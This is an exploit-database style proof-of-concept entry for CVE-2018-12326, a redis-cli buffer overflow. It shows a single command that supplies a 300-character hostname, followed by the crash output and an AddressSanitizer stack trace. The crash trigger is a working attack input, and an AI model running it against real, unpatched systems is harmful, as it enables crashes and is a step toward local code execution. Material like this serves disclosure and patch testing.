# Exploit Title: Redis-cli < 5.0 - Buffer Overflow (PoC) # Date: 2018-06-13 # Exploit Author: Fakhri Zulkifli # Vendor Homepage: https://redis.io/ # Software Link: https://redis.io/download # Version: 5.0, 4.0, 3.2 # Fixed on: 5.0, 4.0, 3.2 # CVE : CVE-2018-12326 # Buffer overflow in redis-cli of Redis version 3.2, 4.0, and 5.0 allows a local attacker # to achieve code execution and escalate to higher privileges via a long string in the hostname parameter. $ ./src/redis-cli -h `python -c 'print "A" * 300'` Could not connect to Redis at AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:6379: Name or service not known #0 0x4a4182 in vsnprintf /home/user/llvm/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:1566 #1 0x4a42d0 in snprintf /home/user/llvm/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:1637 #2 0x570159 in repl /home/user/redis/src/redis-cli.c:1624:5 #3 0x55ba77 in main /home/user/redis/src/redis-cli.c:6660:9 #4 0x7f6be5f6e82f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291 #5 0x4247a8 in _start (/home/user/redis/src/redis-cli+0x4247a8)